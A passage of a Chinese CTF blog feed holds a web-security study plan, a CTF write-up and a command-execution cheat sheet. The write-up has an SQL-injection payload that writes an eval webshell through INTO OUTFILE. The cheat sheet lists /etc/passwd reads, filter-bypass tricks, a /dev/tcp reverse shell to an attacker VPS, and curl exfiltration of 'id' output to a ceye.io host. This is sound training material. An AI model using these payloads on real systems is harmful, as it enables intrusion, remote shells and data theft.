class="string">'youhuiquan'</span>] = <span class="string">'youhuiquan'</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (!<span class="keyword">isset</span>($money)){</span><br><span class="line"> $money = <span class="number">100000</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_SESSION[<span class="string">'youhuiquan'</span>])){</span><br><span class="line">$money = <span class="number">0.9</span> * $money - <span class="number">5</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> ($money < <span class="number">0</span>){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'flagIsHere'</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'page'</span>])){</span><br><span class="line"><span class="keyword">include</span>($_GET[<span class="string">'page'</span>].<span class="string">".php"</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">unset</span>($_SESSION[<span class="string">'youhuiquan'</span>]);</span><br><span class="line"></span><br><span class="line"><span class="keyword">echo</span> <span class="string">"money: "</span> . $money;</span><br></pre></td></tr></table></figure><p>保存为index.php。访问index.php?page=index</p>]]></content>
<summary type="html">
<h1 id="Web50-MD5-Games-1"><a href="#Web50-MD5-Games-1" class="headerlink" title="Web50 MD5 Games 1"></a>Web50 MD5 Games 1</h1><p>web签到题,一道弱
</summary>
</entry>
<entry>
<title>web15天极客All kill指南</title>
<link href="http://hebic.me/2017/10/14/web15%E5%A4%A9%E6%9E%81%E5%AE%A2All-kill%E6%8C%87%E5%8D%97/"/>
<id>http://hebic.me/2017/10/14/web15天极客All-kill指南/</id>
<published>2017-10-14T05:30:29.000Z</published>
<updated>2017-10-14T06:30:32.000Z</updated>
<content type="html"><![CDATA[<p>有很多新生问我web如何学习,如何入门。尽管在第一次小组培训的时候讲过一点点,但看大家还是不太会这里给出一个自认为可以快速入门,并可以在短时间内学习大量web基础知识的一个时间表,也算是方法论。</p><p>15天All kill指南并不代表15天真的可以做完所有web题目,只是说如果照着这份表单做,即使做不出来web题目,也可以大致了解web安全的一些常见方向。有基础的小伙伴可以在这份列表中各取所需。</p><p>请注意:web安全是一个涉及广泛的领域,在入门的时候,很有可能你会为了学习A知识而先学习B和C知识,学习B,C知识前先要学习DEFG知识。因此目标导向的学习思路会使你在学习过程中不断接触到新的名词,新的知识,这需要你不断地学习,扩展你的知识面。另外在在不懂得时候,第一步想到的一定是:我怎么才能弄明白他。如果你想要问学长,那么提问的时候一定要加上你为了弄明白这个问题做了哪些事情。(因为学长不愿意回答什么都没有思考就提问的新生哦)如果你查询了百度,没有查到,那么你需要提一个令人愿意回答的问题:我遇到了XXXX问题,在百度搜索XXXXX,人们的回答是XXXX,我试了这些方法,并没有成功,那么我需要做些什么才可以解决这个问题?</p><h3 id="1-5天:以最快的速度了解多门语言"><a href="#1-5天:以最快的速度了解多门语言" class="headerlink" title="1-5天:以最快的速度了解多门语言"></a>1-5天:以最快的速度了解多门语言</h3><h4 id="第一天:"><a href="#第一天:" class="headerlink" title="第一天:"></a>第一天:</h4><p>通过W3School以最快速度入门HTML,CSS和Javascript语言。地址:<a href="http://www.w3school.com.cn/" target="_blank" rel="noopener">http://www.w3school.com.cn/</a></p><p>建议:在本地写同样的代码并查看结果是否和教程的结果相同。</p><h4 id="第二-四天:"><a href="#第二-四天:" class="headerlink" title="第二~四天:"></a>第二~四天:</h4><p>下载并安装phpstudy。</p><p>通过W3School以最快速度入门PHP,并在本地复现每一个教程中的代码,强调:不要复制网页中的代码,要自己手打。如果出现的结果和网页中的结果相同,则继续学习。地址:<a href="http://www.w3school.com.cn/php/index.asp" target="_blank" rel="noopener">http://www.w3school.com.cn/php/index.asp</a></p><p>如果有些语句无法理解其含义,那就无脑抄一遍并执行,看到结果即可。请自行安排学习时间,调整学习效率,以至于在第四天的时候可以将PW3School PHP部分的“PHP数据库”学习完。(如果自愿爆肝学习,这是极好的,但请注意身体)</p><h4 id="第五天:"><a href="#第五天:" class="headerlink" title="第五天:"></a>第五天:</h4><p>通过W3School学习SQL语言,了解select/insert/update/delete,以及union select的语法。</p><p>本地执行SQL语言的方法如下:</p><ol><li>phpstudy开启,保证mysql是开启状态。</li><li>进入phpstudy安装目录/mysql/bin</li><li>在此处打开命令与提示符,或在其他地方打开cd到此处,输入mysql.exe -u root -proot,回车</li><li>输入create database tuzishifuzhuishuaile; (注意句末有分号)并回车</li><li>输入use tuzishifuzhuishuaile; 并回车</li></ol><h3 id="6-7天:SQL注入学习"><a href="#6-7天:SQL注入学习" class="headerlink" title="6-7天:SQL注入学习"></a>6-7天:SQL注入学习</h3><h4 id="第六天:"><a href="#第六天:" class="headerlink" title="第六天:"></a>第六天:</h4><p>既然学会了SQL语句,那就动手做一下SQL注入题目吧!但是做之前,除了知道PHP和SQL语言以外,还需要知道SQL注入是什么,怎么注入。这里有一个我当时入门的教程,认真的看完前三课,极客题目的第一道注入题目就不成问题了。如果三节课完全搞定,却依然做不出来,请私聊管理们,因为还有一点点小坑。地址:<a href="http://www.baimaoxueyuan.com/course/index/video/id/54" target="_blank" rel="noopener">http://www.baimaoxueyuan.com/course/index/video/id/54</a></p><h4 id="第七天:"><a href="#第七天:" class="headerlink" title="第七天:"></a>第七天:</h4><p>我猜你可能会用一整天时间看SQL注入的视频教程,虽然短,但是你需要在本地自己操作一下。我觉得一天还是需要的。如果你可以在几个小时内搞定,那你肯定没有完全吸收。除非你是个学霸XD,那么第七天就可以开始做极客的“故道白云”的SQL注入题目啦!相信你肯定没问题。</p><h3 id="8天:各种工具的使用"><a href="#8天:各种工具的使用" class="headerlink" title="8天:各种工具的使用"></a>8天:各种工具的使用</h3><h4 id="第八天:"><a href="#第八天:" class="headerlink" title="第八天:"></a>第八天:</h4><p>相信你SQL的100分已经拿到了,再接再厉!</p><p>之后的课程就需要一些工具啦,我这里推荐一些工具供你学习:</p><ol><li>python:请安装好。并将python加入到环境变量中,以至于在随处打开命令与提示符窗口输入python都可以打开python,方法自行百度。</li><li>hackbar:这是一个firefox浏览器的插件,对于修改GET和POST请求,用这个插件非常的方便,而且这个插件可以解码一些编码,比如url编码,base64编码。(如果你并不知道上面提到的名词是什么,请百度学习一下)</li><li>burpsuite:这是在做web题目最最常用到的工具,工具的详细使用说明可以看<a href="https://t0data.gitbooks.io/burpsuite/content/chapter3.html,为了做web题目,只需要学习到第三章“数据拦截与控制”就可以了。" target="_blank" rel="noopener">https://t0data.gitbooks.io/burpsuite/content/chapter3.html,为了做web题目,只需要学习到第三章“数据拦截与控制”就可以了。</a></li></ol><h3 id="9天:学习各种概念"><a href="#9天:学习各种概念" class="headerlink" title="9天:学习各种概念"></a>9天:学习各种概念</h3><h4 id="第九天:"><a href="#第九天:" class="headerlink" title="第九天:"></a>第九天:</h4><p>第九天到了为什么还没有开始继续做题呢?是因为还有一些概念不懂就没法做题~</p><p>那么下面给出一个你需要了解的概念的列表,你需要自己去百度查询到底这些是什么,这样下次别人滔滔不绝的时候起码能听懂他在说什么。如果你有精力,最好可以深入的学习一些这些东西,并自己实践一下。</p><ol><li><p>URL编码</p></li><li><p>HTML编码</p></li><li><p>Base64编码</p></li><li><p>数据包</p></li><li><p>HTTP响应头,都有哪些,都是做什么的</p></li><li><p>GET传参,POST传参,怎么传参</p></li><li><p>HTTP协议是什么</p></li><li><p>MD5是什么</p></li><li><p>github</p></li><li><p>writeup</p></li><li><p>webshell</p><p>——以上是非安全概念,下面是安全概念—–</p></li><li><p>信息泄露/源码泄露</p></li><li><p>暴力破解</p></li><li><p>SQL注入</p></li><li><p>XSS</p></li><li><p>CSRF</p></li><li><p>远程命令执行</p></li><li><p>代码执行</p></li><li><p>文件包含</p></li><li><p>任意文件上传/下载/删除</p></li><li><p>逻辑漏洞</p><p>——如果你精力旺盛,还可以了解一下下面的概念——</p></li><li><p>XXE</p></li><li><p>SSRF</p></li><li><p>序列化漏洞/反序列化漏洞</p></li><li><p>变量覆盖</p></li><li><p>DDOS</p></li><li><p>CRLF</p></li><li><p>DNS协议</p></li><li><p>Apache/IIS/Tomcat/Nginx</p></li></ol><p>是不是很吓人!这么长!别担心,这些都是一些概念,只需要你知道这是啥东西就可以了,而且从11下面的内容,即使你并不了解也没关系,因为后面也会学习到。</p><h3 id="10-15-天:各种web安全漏洞"><a href="#10-15-天:各种web安全漏洞" class="headerlink" title="10-15 天:各种web安全漏洞"></a>10-15 天:各种web安全漏洞</h3><h4 id="第10-15天"><a href="#第10-15天" class="headerlink" title="第10-15天"></a>第10-15天</h4><p>你终于弄明白了一大堆概念究竟是什么,现在终于可以开始学习安全漏洞,利用了!那么10到15天就是学习这些知识的时候了。</p><p>提示:所有的漏洞请务必在本地复现</p><ol><li>SQL注入漏洞:sql-lab</li><li>文件包含:<a href="http://www.cnblogs.com/iamstudy/articles/include_file.html" target="_blank" rel="noopener">http://www.cnblogs.com/iamstudy/articles/include_file.html</a></li><li>逻辑漏洞:php是弱语言,要注意常见的用于判断的函数:<a href="http://www.blueshoes.org/en/developer/php_cheat_sheet" target="_blank" rel="noopener">http://www.blueshoes.org/en/developer/php_cheat_sheet</a></li><li>变量覆盖:<白帽子讲安全> - php漏洞章节中所总结的</li><li>代码执行:<白帽子讲安全> - php漏洞章节中所总结的</li><li>xss漏洞:书籍:<xss跨站脚本 攻击剖析与防御> 、<web前端黑客技术揭秘> ,刚开始学会有点懵,而且东西也多,核心问题其实就是同源问题(各种跨域方式),然后就是xss点的输出位置与构造(什么时候js编码,什么时候html编码等等),最后就是xss能够实现的事情做攻击。</li><li>csrf漏洞:<a href="http://wooyun.jozxing.cc/static/drops/web-15556.html" target="_blank" rel="noopener">http://wooyun.jozxing.cc/static/drops/web-15556.html</a></li></ol><p>好吧,我承认上面的漏洞对你来说要求太高了,五天我也觉得做不完。XD但如果你真的坚持到了15天,相信我,你在新生中肯定是TOP5,三叶草小组也欢迎做到这一步的你^_^</p>]]></content>
<summary type="html">
<p>有很多新生问我web如何学习,如何入门。尽管在第一次小组培训的时候讲过一点点,但看大家还是不太会这里给出一个自认为可以快速入门,并可以在短时间内学习大量web基础知识的一个时间表,也算是方法论。</p>
<p>15天All kill指南并不代表15天真的可以做完所有web题
</summary>
</entry>
<entry>
<title>一道题目小记</title>
<link href="http://hebic.me/2017/10/07/%E4%B8%80%E9%81%93%E9%A2%98%E7%9B%AEwriteup/"/>
<id>http://hebic.me/2017/10/07/一道题目writeup/</id>
<published>2017-10-07T07:23:42.000Z</published>
<updated>2017-10-07T07:54:56.000Z</updated>
<content type="html"><![CDATA[<p>实验班小伙伴出了一道题,每一步都有坑,很有趣。</p><p>先是一个登陆窗口,在/index.php中输入用户名密码,会把语句返回出来。TIP放出过滤的源码:</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">filter</span><span class="params">($input)</span></span>{</span><br><span class="line"> <span class="keyword">while</span>(preg_match(<span class="string">'/(and|or|union|where|limit|group by|select|hex|substr)/i'</span>,$input)){</span><br><span class="line"> $input=preg_replace(<span class="string">'/(and|or|union|where|limit|group by|select|hex|substr)/i'</span>,<span class="string">''</span>,$input);</span><br><span class="line"> }</span><br><span class="line"> $array=<span class="keyword">array</span>(<span class="string">"*"</span>,<span class="string">" "</span>,<span class="string">"-"</span>,<span class="string">"0x"</span>);</span><br><span class="line"> <span class="keyword">foreach</span>($array <span class="keyword">as</span> $str){</span><br><span class="line"> $input=str_replace($str,<span class="string">""</span>,$input);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> $input;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">filter_add</span><span class="params">($input)</span></span>{</span><br><span class="line"> $filter=preg_match(<span class="string">'/(select.*into outfile)|(limit [0-9]+,[0-9]+)/i'</span>,$input);</span><br><span class="line"> <span class="keyword">if</span>($filter){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">"<script>alert(\"emmmm...want to have a webshell?.\")</script>"</span>);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">filter_admin</span><span class="params">($input)</span></span>{</span><br><span class="line"> preg_match(<span class="string">"/^[_0-9a-z]{4,25}$/i"</span>,$input) <span class="keyword">or</span> <span class="keyword">die</span>(<span class="string">"<script>alert(\"Emmmmm...Your input is out of range or containing illegal parameter.\")</script>"</span>);</span><br><span class="line">}</span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>过滤了select和where,没有多语句,没啥办法。经过小伙伴指点,发现过滤分为两次,所以用sel-ect就可以绕过了,空格用%0a。union或者报错都可以得到管理员账号密码,登陆后得到flag的第一部分。</p><p><img src="/2017/10/07/一道题目writeup/1.png" alt=""></p><p>flag的第二部分要求用mysql写shell,写shell可以用into outfile,或者多语句先修改log的位置,再写入shell,这道题用into outfile。.*用%0a绕过。写入之后提示your shell is detected。题目没有php的waf,而且有时候第一次访问可以访问,第二次就失败了,猜测是有其他waf在遍历文件。这种的用竞争在被删除内容之前访问就可以。本以为这题就这么做出来了,发现传上去的<?php system(‘ls’);?>变成了<?/php system(‘ls’);?>,导致php无法解析,这里我想到的方法是把<?php放到第一个注入点,两个注入点中间会自动形成一个空格,这样shell就可以用了。</p><p>由于burpsuite的intruder没法写shell和访问shell两个同时跑,就一个从1-1000.php的写入,一个10000-1.php访问,中间汇合的时候总可以访问到。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/1.1</span><br><span class="line">Host: 222.18.158.233:2003</span><br><span class="line">User-Agent: Mozilla/5.0 (iPad; CPU OS 10_3_3 like Mac OS X) AppleWebKit/603.3.3 (KHTML, like Gecko) Version/10.0 Mobile/14G5037b Safari/602.1</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">Content-Length: 31</span><br><span class="line">Referer: http://222.18.158.233:2003/</span><br><span class="line">Connection: close</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br><span class="line"></span><br><span class="line">uname=-1'%0aUn-ion%0ase-lect%0a'<?php','eval("$_POST[1]");'%0ainto%0aoutfile%0a'/var/www/html/h§7§.php'#&passwd=a&submit=Submit</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">GET /h§7§.php HTTP/1.1</span><br><span class="line">Host: 222.18.158.233:2003</span><br><span class="line">User-Agent: Mozilla/5.0 (iPad; CPU OS 10_3_3 like Mac OS X) AppleWebKit/603.3.3 (KHTML, like Gecko) Version/10.0 Mobile/14G5037b Safari/602.1</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3</span><br><span class="line">Connection: close</span><br><span class="line">Upgrade-Insecure-Requests: 1</span><br></pre></td></tr></table></figure><p>最后flag在 ../flag.txt中,cat出来即可。</p><p>问出题人得知自己是非预期解。waf在check时不允许php最后有分号,为了防止删除php,只需要不要在语句结束后加分号。另外<?php后面空格的绕过,要用\n。</p><p>做了大半天,每次都被虐,这种不怎么超出能力还不一下子能想出来的题做起来最爽了。</p>]]></content>
<summary type="html">
<p>实验班小伙伴出了一道题,每一步都有坑,很有趣。</p>
<p>先是一个登陆窗口,在/index.php中输入用户名密码,会把语句返回出来。TIP放出过滤的源码:</p>
<figure class="highlight php"><table><tr><td class="
</summary>
</entry>
<entry>
<title>ctf之命令执行小总结</title>
<link href="http://hebic.me/2017/09/26/ctf%E4%B9%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E5%B0%8F%E6%80%BB%E7%BB%93/"/>
<id>http://hebic.me/2017/09/26/ctf之命令执行小总结/</id>
<published>2017-09-26T08:03:57.000Z</published>
<updated>2017-09-26T11:07:24.000Z</updated>
<content type="html"><![CDATA[<h3 id="PHP可以命令执行的函数"><a href="#PHP可以命令执行的函数" class="headerlink" title="PHP可以命令执行的函数"></a>PHP可以命令执行的函数</h3><p><code>Exec()</code></p><p><code>System()</code></p><p><code>Passthru()</code></p><p><code>Shell_exec()</code></p><h3 id="读文件的各种各样的方法:"><a href="#读文件的各种各样的方法:" class="headerlink" title="读文件的各种各样的方法:"></a>读文件的各种各样的方法:</h3><h4 id="常用方法:"><a href="#常用方法:" class="headerlink" title="常用方法:"></a>常用方法:</h4><p><code>cat 由第一行开始显示内容,并将所有内容输出</code></p><p><code>tac 从最后一行倒序显示内容,并将所有内容输出</code></p><p><code>more 根据窗口大小,一页一页的现实文件内容</code></p><p><code>less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符</code></p><p><code>head 只显示头几行</code></p><p><code>tail 只显示最后几行</code></p><p><code>nl 类似于cat -n,显示时输出行号</code></p><p><code>tailf 类似于tail -f</code></p><p><code>Vim 使用vim工具打开文本</code></p><p><code>Vi 使用vi打开文本</code></p><h4 id="歪门邪道:"><a href="#歪门邪道:" class="headerlink" title="歪门邪道:"></a>歪门邪道:</h4><p><code>Curl file:///etc/passwd</code></p><p><code>String/etc/passwd</code></p><p><code>Echo< /etc/passwd</code></p><p><code>Uniq -c/etc/passwd</code></p><p><code>Bash -v /etc/passwd</code></p><p><code>Rev/etc/passwd</code></p><h3 id="命令执行绕过方法:"><a href="#命令执行绕过方法:" class="headerlink" title="命令执行绕过方法:"></a>命令执行绕过方法:</h3><p>####黑名单:</p><p><code>a=l;b=s;ab</code></p><p><code>a=c;b=at;c=heb;d=ic;ab{c}{d}</code></p><p>####没有回显:</p><p><code>bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1</code></p><p><code>curl whoami.xxxx.xxx(子域名)\</code></p><p><code>Wget、ping</code></p><p><code>curlikyzvu.ceye.io/$(id|base64)</code></p><h3 id="一个题目:"><a href="#一个题目:" class="headerlink" title="一个题目:"></a>一个题目:</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$cmd = shell_exec( <span class="string">'ping -c 4 '</span> . $target );</span><br></pre></td></tr></table></figure><p>$target可控,又限制的比较死,各种字符都过滤了。使用%0a换行,然后直接执行需要的命令。</p><p>Payload: <a href="http://XXXX:83/index.php?ip=127.0.0.1%0als" target="_blank" rel="noopener">http://XXXX:83/index.php?ip=127.0.0.1%0als</a></p><p>来源:<a href="https://chybeta.github.io/2017/06/18/%E2%80%9C%E6%98%A5%E7%A7%8B%E6%9D%AF%E2%80%9Dweb-writeup/#WEB-03" target="_blank" rel="noopener">https://chybeta.github.io/2017/06/18/%E2%80%9C%E6%98%A5%E7%A7%8B%E6%9D%AF%E2%80%9Dweb-writeup/#WEB-03</a></p>]]></content>
<summary type="html">
<h3 id="PHP可以命令执行的函数"><a href="#PHP可以命令执行的函数" class="headerlink" title="PHP可以命令执行的函数"></a>PHP可以命令执行的函数</h3><p><code>Exec()</code></p>
<p><co
</summary>
</entry>
</feed>